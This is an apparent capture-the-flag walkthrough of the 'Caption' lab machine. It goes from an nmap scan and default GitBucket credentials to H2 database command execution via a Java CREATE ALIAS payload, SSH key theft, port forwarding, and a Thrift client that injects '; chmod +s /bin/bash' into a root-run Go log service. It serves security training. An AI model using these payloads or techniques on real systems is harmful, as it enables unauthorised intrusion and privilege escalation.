Beginning with the usual nmap scan
nmap 10.129.73.39 -p- -sV
We get a very weird output
nmap could not verify the Versions running but we get 3 open ports:
22:SSH80: HTTP8080:HTTPBeginning with the standard methodology, we interact with port 80
We get the usual redirection to a domain caption.htb
Adding it to /etc/hosts file
We get a login portal
Default login did not work.
Chose not to spend much time on this attack vector before checking the rest of the ports.
Interacting with port 8080, we get a GitBucket webpage
When clicking on sign in, we are prompted to a login portal
Trying root:root and it worked
We have 2 repositories Logservice and Caption-Portal
The Logservice repo helps in log correlation using the thrift service
The Caption-Portal repo is the service running on port 80 (I assumed)
Checking the last commits
We can see in the Update access control commit some credentials
margo:vFr&cS2#0!
Trying the credentials on the login page found on port 80 and it worked
We are welcomed with an index page
Following standard methodology and viewing source code but lead us to nowhere
Beginning directory brute forcing
gobuster dir -u="http://caption.htb/" -w=/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt,zip,sh
We get a weird output
All the endpoint in the firewall directory is redirected to a single point and it is the / directory. Will keep that in mind and look at that later.
Checking Gitbucket on port 8080
After clicking on System Administration/Database viewer
We can see a terminal where we can write SQL queries to be executed.
Testing for the service by giving it an arbitrary value, a service name was exposed.
H2 database.
Looking for exploits, found this link a SQL injection can be abused.
By using this code
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
We can create an Alias that can execute System commands and we can call it by using this.
CALL SHELLEXEC('id')
Trying to pop out a reverse shell but it could not be possible.
Reading the /home/margo directory, a .ssh directory was discovered
We can see a private SSH key
Reading the file, it is displayed in a weird format
To adjust that, Base64 conversion was used
Copying the file to our local machine, decoding and give it the correct permissions to SSH
Following our standard methodology, we checked Internal ports running
Checking the services running on the background as root
server.go is identified to be running as root but the source code is inaccessible as it is located in /root which is inaccessible for us as margo user.
Going back to Gitbucket, Checking the other repository, Logservice, server.go can be identified and the source code can be read
package main
import (
"context"
"fmt"
"log"
"os"
"bufio"
"regexp"
"time"
"github.com/apache/thrift/lib/go/thrift"
"os/exec"
"log_service"
)
type LogServiceHandler struct{}
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
file, err := os.Open(filePath)
if err != nil {
return "", fmt.Errorf("error opening log file: %v", err)
}
defer file.Close()
ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
outputFile, err := os.Create("output.log")
if err != nil {
fmt.Println("Error creating output file:", err)
return
}
defer outputFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
ip := ipRegex.FindString(line)
userAgentMatch := userAgentRegex.FindStringSubmatch(line)
var userAgent string
if len(userAgentMatch) > 1 {
userAgent = userAgentMatch[1]
}
timestamp := time.Now().Format(time.RFC3339)
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
}
return "Log file processed",nil
}
func main() {
handler := &LogServiceHandler{}
processor := log_service.NewLogServiceProcessor(handler)
transport, err := thrift.NewTServerSocket(":9090")
if err != nil {
log.Fatalf("Error creating transport: %v", err)
}
server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
log.Println("Starting the server...")
if err := server.Serve(); err != nil {
log.Fatalf("Error occurred while serving: %v", err)
}
}
Thrift library can be identified and we know it is running on port 9090 from the source code.
Local port forwarding
ssh -L 9090:127.0.0.1:9090 margo@caption.htb -i id_rsa
We need to write a script to interact with this service.
First of all we need to define a thrift file, which is already defined in the Logservice repository under the name of log_service.thrift.
namespace go log_service
service LogService {
string ReadLogFile(1: string filePath)
}
Creating the file
After defining the Thrift file, we will need to generate the Python client code using the Thrift compiler
thrift --gen py log_service.thrift
After running the command, the directory will look like this
Then create the python script that will interact with the server
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
def main():
# Set up the transport and protocol
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
# Create a client
client = LogService.Client(protocol)
# Connect to the server
transport.open()
# Call the service method
try:
result = client.ReadLogFile('/path/to/your/logfile.log')
print(f'Server Response: {result}')
except Exception as e:
print(f'Error: {e}')
# Close the connection
transport.close()
if __name__ == "__main__":
main()
Create the client.py and put it in the gen-py directory
Create a dummy file in the /tmp directory in the remote machine and test the script
We can see that the Log file was processed successfully.
Analyzing the source code, we can see a potential Command injection here
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
We can inject commands like this
{"user-agent":"'; command_here ; #", "ip":"1.2.3.4"}
Creating a malicious Log file containing this command
{"user-agent":"'; chmod +s /bin/bash ; #", "ip":"1.2.3.4"}
Change the client.py to point to this newly created log file
Run the Client script and now try to open a bash shell and drop the privileges.
The machine was pawned successfully